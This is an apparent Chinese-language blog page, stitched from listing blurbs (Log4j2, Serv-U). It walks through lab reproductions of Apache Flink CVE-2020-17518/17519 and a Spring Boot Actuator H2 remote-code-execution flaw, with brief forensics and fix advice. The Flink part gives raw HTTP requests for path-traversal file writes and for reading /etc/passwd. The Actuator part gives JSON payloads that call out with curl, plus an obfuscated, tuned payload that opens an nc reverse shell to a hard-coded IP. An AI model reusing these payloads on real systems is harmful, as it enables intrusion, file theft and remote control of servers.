CVE-2021-44228 Apache Log4j2 lookup JNDI 注入漏洞复现
漏洞简述
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。
阅读更多Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。
阅读更多这周的一次应急响应case中,客户遭遇了lockbit 2.0的勒索。经溯源分析后,发现客户机器上安装了serv-u 15.0.0.0 的版本,该版本存在远程命令执行漏洞。本文对该漏洞进行复现,本文主要侧重于被入侵后如何快速进行溯源排查。
阅读更多Apache Flink 是一个开源流处理框架,具有强大的流处理和批处理能力。
CVE-2020-17518
Apache Flink 1.5.1 引入了一个 REST 处理程序,允许通过恶意修改的 HTTP HEADER 将上传的文件写入本地文件系统上的任意位置。
CVE-2020-17519
Apache Flink 1.11.0 中引入的一项更改(也在 1.11.1 和 1.11.2 中发布)允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件。
CVE-2020-17518 1.5.1 < Flink < 1.11.2
CVE-2020-17519 Flink 1.11.0、1.11.1、1.11.2
http.favicon.hash:180732787
该漏洞利用较为简单,并且github上的exp测试不太好用。建议手工测试复现。
https://github.com/QmF0c3UK/CVE-2020-17518
https://github.com/B1anda0/CVE-2020-17519
使用vulhub进行复现。搭建好后直接进入后台管理界面,没有认证。两个漏洞用的同一个环境。
点击上面上传jar包,burp抓包修改路径。
POST /jars/upload HTTP/1.1 Host: vul.zgao.top:8081 Content-Length: 228 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryphBB4uHGBVImrUXt Connection: close ------WebKitFormBoundaryphBB4uHGBVImrUXt Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success" Content-Type: application/octet-stream success ------WebKitFormBoundaryphBB4uHGBVImrUXt--
文件上传成功。
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1 Host: vul.zgao.top:8081 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Connection: close
日志位置:/opt/flink/log
排查关键词:JarUploadHandler
目录穿越任意文件读取,日志中没有记录。
升级至1.11.3及更高版本。
Actutator是spring一个生产环境部署时可使用的功能,用来监控和管理应用程序。支持选择HTTP Endpoints 或者JMX的方式来访问,同样支持查看应用程序的Auding,health和metrics信息。
/actuator/env
等接口使用github上的docker漏洞镜像。
git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git cd spring-boot-actuator-h2-rce docker build -t spaceraccoon/spring-boot-rce-lab . docker run -p 8080:8080 --name lab --rm -t spaceraccoon/spring-boot-rce-lab
http://vul.zgao.top:8080/actuator
先来看下网上用的最多的一段POC。
接口:/actuator/env
网上这个poc不稳定,执行反弹shell和部分命令会失败。这里的坑踩了很多次!!!后面会单独分析。
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl zgao.xyz:1234/success');"}
接口:/actuator/restart,post一个空的json。
{}
命令执行成功。
网上提供的payload并不稳定,简单分析一下存在两个问题。
先分析第一个问题。由于要restart才能执行一次命令。这里第二次请求接口。
此时已退出容器,往上查看堆栈报错。
执行的sql语句中,exec这个别名已经存在又再次创建导致报错。
所以把poc中的CREATE ALIAS EXEC AS
换成CREATE ALIAS IF NOT EXISTS EXEC AS
即可。
第二个问题,上面的poc无法反弹shell。这个和java.runtime.exec 命令执行有关,网上有很多介绍的文章。
最终优化后的POC如下换成下面的poc就能同时解决上面的两个问题。
可以使用 https://zgao.top/reverse-shell/ 生成payload。
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS IF NOT EXISTS EXEC AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL EXEC('/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 43.155.67.230 1234 >/tmp/f');"}
反弹shell执行成功。
用docker logs 可查看控制台日志。但没有记录请求ip。
排查关键词:exec,dispatcherServlet
不要暴露端点,默认是只能访问到health
和info
端点。